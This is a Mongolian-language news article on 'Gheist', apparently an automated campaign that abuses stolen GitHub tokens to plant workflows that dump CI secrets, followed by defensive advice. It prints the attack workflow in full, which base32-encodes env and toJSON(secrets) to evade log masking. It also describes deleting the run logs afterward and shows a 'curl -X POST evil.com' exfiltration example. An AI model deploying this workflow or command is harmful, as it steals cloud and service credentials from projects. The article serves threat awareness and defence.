GitHub Actions-ийг өөрөөр нь "дээрэмдэв": Gheist ажиллагаа 13,500 салбарын нууцыг base32-оор хулгайлжээ

Сүүлийн үед хөгжүүлэгчийн ажлын орчин, CI/CD пайплайн руу чиглэсэн ханган нийлүүлэлтийн сүлжээний (supply chain) халдлагууд улам нарийссаар байна. Cloud аюулгүй байдлын Wiz Research баг сүүлийн 24 цагийн дотор өргөн цар хүрээтэй явагдаж буй шинэ автомат халдлагын тайланг дэлгэлээ: Gheist.

Энэхүү халдлага нь хөгжүүлэгчдийн алдагдсан хувийн токен (Personal Access Token - PAT) болон OAuth түлхүүрүүдийг ашиглан, тухайн токены хандах эрхтэй бүх репозитор дээр хортой GitHub Actions workflow суулгаж, төслийн secrets-ийг бүхэлд нь ховх сорон авч байгаа ажээ. Wiz-ийн судалгаагаар өнөөдрийн байдлаар 850 гаруй байгууллага, хөгжүүлэгчийн бүртгэл өртөж, 13,500 гаруй салбар (branch) дээр энэхүү нууц хулгайлах код суулгагдсан нь тогтоогдоод байна.

Хамгийн аюултай нь энэ халдлага ямар ч гадны серверийн холболт (Command and Control буюу C2) шаардахгүйгээр, бүх үйлдлийг зөвхөн GitHub-ийн өөрийнх нь дэд бүтэц, API болон Runner дээр гүйцэтгэж буй явдал юм.

---

Gheist хэрхэн ажилладаг вэ?

Халдагчид олон нийтийн эх код, нэвчилт (leaks) эсвэл фишингээр олж авсан GitHub токеныг ашиглан дараах автомат циклийг маш богино хугацаанд хэрэгжүүлж байна:

1. Шинэ салбар үүсгэх: Тухайн токены бичих эрхтэй репозитор бүрт ci-sync-XXXXXX (санамсаргүй 6 тэмдэгт бүхий) нэртэй шинэ branch үүсгэнэ.
2. Хортой Workflow commit хийх: Тухайн салбарт .github/workflows/sync-check.yml нэртэй файлыг "ci: sync config" гэсэн commit тайлбартайгаар нэмнэ. Commit нь тухайн токены эзэмшигчийн нэрээр бичигддэг тул сэжиг төрүүлэхгүй.
3. Actions ажиллуулах: Push хийгдмэгц GitHub Actions автоматаар ажиллаж, төслийн бүх орчны хувьсагч болон нууцуудыг цуглуулж консол дээр хэвлэнэ.
4. Мөрөө баллах ба татаж авах: Халдагчийн скрипт GitHub REST API-аар дамжуулан ажилласан ажлын лог (run log)-ийг татаж аваад, секундийн дараа уг run-ийг шууд устгаж түүхээ баллуурддаг.

Халдагчийн API хүсэлтүүдийн User-Agent нь gheist байсан тул уг ажиллагааг судлаачид ингэж нэрлэжээ.

---

"Secret Masking"-ийг base32-оор тойрсон ухаалаг арга

GitHub Actions-д secrets.AWS_SECRET_KEY ч юм уу аливаа тодорхойлсон нууцыг лог дээр хэвлэхийг оролдоход *** болгон автоматаар маскладаг хамгаалалт байдаг. Гэтэл Gheist-ийн бүтэц энэхүү хамгаалалтыг элэглэн тойрч гарсан байна:

name: sync-check
on: [push]
permissions: {}
jobs:
  sync:
    runs-on: ubuntu-latest
    timeout-minutes: 6
    steps:
      - name: build
        run: |
          env | base32 -w 120
          echo -n '${{ toJSON(secrets) }}' | base32 -w 120

GitHub-ийн масклагч систем нь нууц тэмдэгтүүдийн анхны яг бодит утгыг (verbatim) лог дотроос хайж *** болгодог. Харин toJSON(secrets) болон env-ийг base32-оор хөрвүүлэн кодлох үед үүссэн тэмдэгтүүд нь GitHub-ийн хараанд анхны нууц гэж танигдахгүй.

Үүний дүнд AWS, GCP, Azure, NPM token, үйлдвэрлэлийн мэдээллийн баазын нууц үг, Stripe түлхүүрүүд хүртэл масклагдалгүйгээр цэвэр текст хэлбэрээр лог файлд бүртгэгдэж хоцордог байна.

---

C2 сервергүй "өгөгдөл гадагшлуулалт"

Сонгодог хортой кодууд хулгайлсан өгөгдлөө өөрсдийн серверийн IP эсвэл домэйн рүү curl -X POST evil.com хэлбэрээр илгээдэг тул сүлжээний файрволл, EDR хэрэгслүүдэд баригдах магадлал өндөр байдаг.

Харин Gheist ямар ч гадны серверийн сүлжээний дуудлага хийдэггүй. Бүх мэдээллийг GitHub Actions-ийн албан ёсны логт хадгалуулж, халдагч нь албан ёсны api.github.com/repos/{owner}/{repo}/actions/runs/{run_id}/logs endpoint-оор дамжуулан татан авч байгаа нь уламжлалт хяналтын системийг бүрэн сохолж байгаа юм. Өгөгдлийг татаж авмагц GitHub API-аар DELETE /actions/runs/{run_id} хүсэлт явуулж тухайн ажлын лог, түүхийг нүд ирмэхийн зуур устгаж байна.

Одоогоор GitHub олон нийтэд нээлттэй (public) репозиторууд дээр энэхүү хэв маягийн салбаруудыг автоматаар хаах хамгаалалт оруулсан ч, хаалттай (private) репозиторууд болон байгууллагын (GitHub Enterprise) дотоод кодууд дээр халдлага амжилттай үргэлжилсээр байгааг Wiz анхаарууллаа.

---

Хөгжүүлэгчид ба DevOps багууд юу хийх ёстой вэ?

Хэрэв танай баг GitHub Actions ашигладаг бол дараах шуурхай алхмуудыг хийхийг зөвлөж байна:

1. Сэжигтэй салбаруудыг шалгах: Репозиторууддаа git branch -a | grep ci-sync- коммандаар шалгалт хийх. Хэрэв ийм салбар болон .github/workflows/sync-check.yml файл үүссэн байвал танай токен эсвэл түлхүүр алдагдсан байна гэсэн үг.
2. Токенуудаа Fine-Grained болгох: Бүх эрхтэй (full repo access) Classic Personal Access Token ашиглахаас яаралтай татгалзаж, зөвхөн шаардлагатай репозитор, шаардлагатай үйлдлийг заасан хугацаатай Fine-Grained PAT руу шилжих.
3. Байнгын Secret-ээс OIDC (OpenID Connect) рүү шилжих: Cloud үйлчилгээнүүд (AWS, GCP, Azure)-д зориулсан байнгын Client Secret, Access Key-г GitHub Secrets дотор хадгалахаа больж, GitHub Actions-ийн OpenID Connect (OIDC) богино хугацааны түр эрх олгох механизмаар сэлгэх. Ингэснээр Secrets жагсаалт хоосон байх тул дээрэмдүүлсэн ч алдах зүйлгүй болно.
4. Actions гүйцэтгэх эрхийг чангалах: GitHub Organization түвшинд зөвхөн зөвшөөрөгдсөн салбаруудаас workflow ажиллах, эсвэл шинээр үүссэн workflow-д заавал баталгаажуулалт (approval) шаарддаг тохиргоог идэвхжүүлэх.

Энэхүү халдлага нь хөгжүүлэгчийн токен зөвхөн "код харах" төдий биш, харин тухайн төслийн ард байгаа бүх дэд бүтцийг нээж өгөх түлхүүр болдгийг дахин сануулж байна.

---

Эх сурвалж: Wiz Research Blog (Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles)